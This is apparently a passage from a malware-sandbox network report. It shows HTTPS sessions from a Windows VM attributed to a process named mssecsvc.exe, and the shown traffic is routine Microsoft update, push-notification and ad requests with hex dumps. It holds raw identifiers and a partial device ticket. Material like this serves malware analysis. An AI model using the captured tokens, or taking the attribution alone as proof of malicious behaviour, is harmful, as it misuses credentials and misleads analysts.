2022-07-21 02:35:48 UTC	9411	IN	Data Raw: 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 5b e7 50 31 07 a1 48 30 3e 6a a4 f0 c4 72 3c 54 96 f6 da df d2 d3 50 d2 84 7b 97 ec 78 f9 43 53 fd e4 71 94 d6 61 5f 1a b6 d2 ca cf 27 33 68 64 df 14 e1 50 66 07 d7 7e 96 93 5f 64 a6 a8 6b ed 53 9c 38 61 a0 4a c0 c3 f6 42 3e ba 0e e9 8f ca a4 d9 37 47 6f e1 9f d2 fc 8f da e3 3f 6a 8f ff a8 3d fe a3 f6 f8 8f da e3 Data Ascii: AI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF[P1H0>jr<TP{xCSqa_'3hdPf~_dkS8aJB>7Go?j=
2022-07-21 02:35:48 UTC	9427	IN	Data Raw: 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 82 02 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 02 0f 00 30 82 02 0a 02 82 Data Ascii: oft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100"0*H0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.6	52962	52.242.101.226	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:52 UTC	9430	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=E4a8Z3ah7r+V2fA&MD=rnFuFXSC HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-21 02:35:52 UTC	9430	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 1c607bc1-24e4-4552-8ff5-e78621a62987 MS-RequestId: aca1e799-4afa-4abc-84a8-c1a282919f7f MS-CV: 5BLhMub8ZUOOyE5r.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 21 Jul 2022 02:35:51 GMT Connection: close Content-Length: 35877
2022-07-21 02:35:52 UTC	9431	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-21 02:35:52 UTC	9446	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-21 02:35:52 UTC	9462	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.6	52965	52.242.101.226	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:53 UTC	9466	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=E4a8Z3ah7r+V2fA&MD=rnFuFXSC HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-21 02:35:53 UTC	9466	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 5be85a6d-ff9f-40dc-b619-76b6cb5396db MS-RequestId: fb2dfbcd-0d4e-42a7-ad6c-3fe9364ad506 MS-CV: vccqeXWNRUOuGx+A.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 21 Jul 2022 02:35:52 GMT Connection: close Content-Length: 35877
2022-07-21 02:35:53 UTC	9467	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-21 02:35:53 UTC	9482	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-21 02:35:53 UTC	9498	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.6	53317	20.199.120.151	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:59 UTC	9502	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 32 63 65 66 35 65 34 35 65 61 63 61 34 63 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 72cef5e45eaca4c0
2022-07-21 02:35:59 UTC	9502	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-21 02:35:59 UTC	9502	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 32 63 65 66 35 65 34 35 65 61 63 61 34 63 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 56 57 62 58 4a 45 4f 36 54 72 54 58 7a 4a 59 75 53 61 49 68 72 2f 46 74 4f 55 2b 32 72 45 4b 44 63 39 58 42 6a 47 78 50 66 4e 66 69 2b 4f 31 69 55 4a 79 61 5a 52 4d 31 56 4b 75 6f 32 51 66 44 7a 46 4f 67 6b 76 76 45 78 78 58 47 72 66 36 70 31 46 65 72 63 73 37 79 6f 47 57 37 53 4d 43 6e 49 66 42 61 4c 37 59 2b 73 33 2f 46 49 4e 4f 56 6f 47 37 6c 75 59 62 79 35 2b 44 4c 6f 4f 2b 42 6c 50 55 48 36 48 61 54 Data Ascii: ATH 2 CON\DEVICE 1014Context: 72cef5e45eaca4c0<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAVWbXJEO6TrTXzJYuSaIhr/FtOU+2rEKDc9XBjGxPfNfi+O1iUJyaZRM1VKuo2QfDzFOgkvvExxXGrf6p1Fercs7yoGW7SMCnIfBaL7Y+s3/FINOVoG7luYby5+DLoO+BlPUH6HaT
2022-07-21 02:35:59 UTC	9503	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 32 63 65 66 35 65 34 35 65 61 63 61 34 63 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: 72cef5e45eaca4c0<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-21 02:35:59 UTC	9503	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-21 02:35:59 UTC	9503	IN	Data Raw: 4d 53 2d 43 56 3a 20 6a 42 64 63 79 45 71 66 4c 45 57 42 50 65 69 34 51 43 71 6e 49 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: jBdcyEqfLEWBPei4QCqnIg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.6	53572	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:36:04 UTC	9503	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=07f7ecd0631c402ca31eff424dbe48ac&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGGZM6WM&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=8e1d346115d54b82b12368855488cdf3&time=20220721T113538Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-21 02:36:04 UTC	9504	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 2b5a2ee3-70b0-4740-ae00-7aded43a89ff Date: Thu, 21 Jul 2022 02:36:04 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.6	53627	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:36:04 UTC	9504	OUT	GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=07f7ecd0631c402ca31eff424dbe48ac&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ27N&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=8e1d346115d54b82b12368855488cdf3&time=20220721T113538Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-21 02:36:04 UTC	9505	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 146aee92-94aa-493b-91fa-f632cf05062e Date: Thu, 21 Jul 2022 02:36:04 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.6	53630	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:36:04 UTC	9505	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=07f7ecd0631c402ca31eff424dbe48ac&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ27N&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=8e1d346115d54b82b12368855488cdf3&time=20220721T113540Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-21 02:36:05 UTC	9506	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: a0c6e3f6-126d-47c2-8ce2-2748d7a5c3f7 Date: Thu, 21 Jul 2022 02:36:04 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.6	53637	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:36:05 UTC	9506	OUT	GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=07f7ecd0631c402ca31eff424dbe48ac&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9P6RC76MSMMJ&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=8e1d346115d54b82b12368855488cdf3&time=20220721T113541Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-21 02:36:05 UTC	9506	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 4e1598f2-e99b-419d-95fd-04c4925cf84b Date: Thu, 21 Jul 2022 02:36:04 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.6	50203	20.40.136.238	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:34:22 UTC	120	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&ctry=US&time=20220721T113409Z&lc=en-US&pl=en-US&idtp=mid&uid=b029da70-c67b-4a7e-9bd5-517f7e302ed9&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=14fab7f20ec94cfd930e8bac7de87a01&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1612301&metered=false&nettype=ethernet&npid=sc-338389&oemName=vtesnt%2C%20Inc.&oemid=vtesnt%2C%20Inc.&ossku=Professional&smBiosDm=vtesnt7%2C1&tl=2&tsu=1612301&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32250&sc=6 Cache-Control: no-cache MS-CV: 1nTo+xcROEaHgBk5.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-21 02:34:22 UTC	126	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2853 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116219-T700333446-C128000000001627409+B+P10+S1"},{"OPTOUTSTATE":"256"}] X-ARC-SIG: cxWGMIutaDduiKNQ5rBqjHyLgRae9XnhSfUJi/dxaV+1qTRqn6qVH2yGfUfDQ/ugXBUuPsmBhKwH3Fmap0uGXh+Mew44ZtkERso0ZrtrJ5ZFW7s1MJPZsSIabP8g7c4pYXbGwEiXTl4iec8hq36TRG6igVHb/nE6IPXn/MHOX0Zj9MJzIdb9627Fo/UbtRuqhjbRTD7bclhhYBzPDTUSUh3b6ybsMLsSn0V6s70bXLTLtH9L26R2wgqP+MWjQVwsoTTF3Sy17rbq61KvaYKEpPlB4BIBrscwuxXya8yYTegs8DkbYxXs+MIjrMSwy+adxwtWUxmOJjVTqvVPv7nivA== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 21 Jul 2022 02:34:22 GMT Connection: close
2022-07-21 02:34:22 UTC	127	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.6	53649	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:36:05 UTC	9507	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=07f7ecd0631c402ca31eff424dbe48ac&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9P6RC76MSMMJ&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=8e1d346115d54b82b12368855488cdf3&time=20220721T113542Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
